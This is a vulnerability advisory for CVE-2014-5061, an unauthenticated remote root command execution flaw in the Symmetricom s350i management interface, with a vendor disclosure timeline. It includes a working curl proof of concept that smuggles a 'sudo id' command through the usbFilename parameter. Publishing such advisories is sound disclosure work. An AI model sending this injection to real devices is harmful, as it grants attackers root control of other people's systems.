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Vulnerability title: Remote Root Command Execution in Symmetricom s350i

CVE: CVE-2014-5061
Vendor: Symmetricom
Product: s350i
Affected version: 2.70.15
Fixed version: N/A
Reported by: Mike Emery


An attacker with access to the HTTP management service of a Symmetricom S350i device can obtain root command execution.


This vulnerability allows a non-authenticated user to remotely execute code as root.


curl -i -s -k -X 'POST' \ --data-binary $'refreshMode=&usbFilename=%3Bsudo+id&currentPostPage=backup-step2&backupPostMode=copy' \ 'http://hostname/controller/wizbkup.php'

Vendor status:

30/05/2014 Advisory created
10/06/2014 Vendor contacted
09/07/2014 Vendor contact reattempted
28/07/2014 CVE obtained and provisional release date set
13/08/2014 Final vendor contact initiated
20/08/2014 First vendor response
20/08/2014 Vendor advised of release date and more information on fix time
frame requested
28/08/2014 Vendor contacted to re-emphasise release dates as no response from
previous contact was received
29/08/2014 Vendor responded requesting a discussion before release. This was
not possible due to time zone differences
29/08/2014 Published
01/09/2014 In discussion with vendor following a period of non-response

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